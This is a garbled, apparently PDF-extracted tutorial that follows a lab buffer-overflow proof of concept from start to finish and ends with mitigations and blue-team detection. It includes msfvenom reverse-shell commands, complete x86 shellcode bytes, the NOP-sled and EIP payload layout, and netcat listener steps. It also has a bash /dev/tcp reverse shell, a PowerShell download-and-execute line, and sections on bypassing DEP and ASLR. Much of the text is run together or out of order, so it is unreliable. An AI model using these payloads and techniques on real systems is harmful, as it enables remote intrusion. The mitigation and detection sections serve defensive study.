If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
